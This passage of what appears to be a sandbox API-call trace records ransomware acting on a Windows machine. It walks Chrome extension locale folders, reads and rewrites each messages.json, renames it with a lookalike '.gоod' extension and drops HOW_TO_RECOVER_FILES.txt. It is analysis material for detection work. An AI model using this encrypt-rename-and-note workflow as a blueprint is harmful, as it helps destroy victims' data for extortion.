ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x165, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0253.874] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0253.874] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0253.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0253.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0253.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0253.874] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka", lpFilePart=0x0) returned 0x7b [0253.874] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85873c7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e8f6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe858e8f6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0253.874] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85873c7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e8f6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe858e8f6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.874] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe858e8f6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x165, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0253.875] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe858e8f6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x165, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0253.875] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0253.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0253.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0253.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json", lpFilePart=0x0) returned 0x89 [0253.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0253.875] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3b09cb0 | out: lpFileInformation=0x3b09cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe858e8f6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x165)) returned 1 [0253.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0253.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json", lpFilePart=0x0) returned 0x89 [0253.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0253.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.876] GetFileType (hFile=0x808) returned 0x1 [0253.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0253.876] GetFileType (hFile=0x808) returned 0x1 [0253.876] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x165 [0253.876] ReadFile (in: hFile=0x808, lpBuffer=0x3b0a1d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3b0a1d0*, lpNumberOfBytesRead=0x209ebc98*=0x165, lpOverlapped=0x0) returned 1 [0253.876] CloseHandle (hObject=0x808) returned 1 [0253.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json", lpFilePart=0x0) returned 0x89 [0253.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0253.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.904] GetFileType (hFile=0x808) returned 0x1 [0253.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0253.904] GetFileType (hFile=0x808) returned 0x1 [0253.904] WriteFile (in: hFile=0x808, lpBuffer=0x3b82e60*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3b82e60*, lpNumberOfBytesWritten=0x209ebba8*=0x170, lpOverlapped=0x0) returned 1 [0253.905] CloseHandle (hObject=0x808) returned 1 [0253.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json", lpFilePart=0x0) returned 0x89 [0253.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0253.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0253.905] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe858e8f6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe858e822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x938d84e5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x170)) returned 1 [0253.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0253.905] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.gоod")) returned 1 [0253.906] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0253.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0253.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0253.907] GetFileType (hFile=0x808) returned 0x1 [0253.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0253.907] GetFileType (hFile=0x808) returned 0x1 [0253.908] WriteFile (in: hFile=0x808, lpBuffer=0x3b86798*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3b86798*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0253.908] CloseHandle (hObject=0x808) returned 1 [0253.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0253.908] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km", lpFilePart=0x0) returned 0x7b [0253.908] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8595e28, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a4892, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85a4892, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0253.909] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8595e28, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a4892, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85a4892, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.909] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85a4892, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a6ec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0253.909] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0253.909] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0253.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0253.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0253.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0253.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km", lpFilePart=0x0) returned 0x7b [0253.909] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8595e28, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a4892, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85a4892, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0253.910] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8595e28, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a4892, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85a4892, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.910] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85a4892, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a6ec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0253.910] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85a4892, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a6ec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0253.910] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0253.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0253.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0253.910] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json", lpFilePart=0x0) returned 0x89 [0253.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0253.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3b96780 | out: lpFileInformation=0x3b96780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85a4892, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a6ec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x25f)) returned 1 [0253.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0253.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json", lpFilePart=0x0) returned 0x89 [0253.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0253.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.911] GetFileType (hFile=0x808) returned 0x1 [0253.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0253.911] GetFileType (hFile=0x808) returned 0x1 [0253.911] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x25f [0253.911] ReadFile (in: hFile=0x808, lpBuffer=0x3b96d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3b96d98*, lpNumberOfBytesRead=0x209ebc98*=0x25f, lpOverlapped=0x0) returned 1 [0253.983] CloseHandle (hObject=0x808) returned 1 [0254.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json", lpFilePart=0x0) returned 0x89 [0254.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0254.010] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0254.010] GetFileType (hFile=0x808) returned 0x1 [0254.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0254.011] GetFileType (hFile=0x808) returned 0x1 [0254.011] WriteFile (in: hFile=0x808, lpBuffer=0x3aa4a10*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3aa4a10*, lpNumberOfBytesWritten=0x209ebba8*=0x260, lpOverlapped=0x0) returned 1 [0254.011] CloseHandle (hObject=0x808) returned 1 [0254.011] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json", lpFilePart=0x0) returned 0x89 [0254.011] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0254.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0254.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user 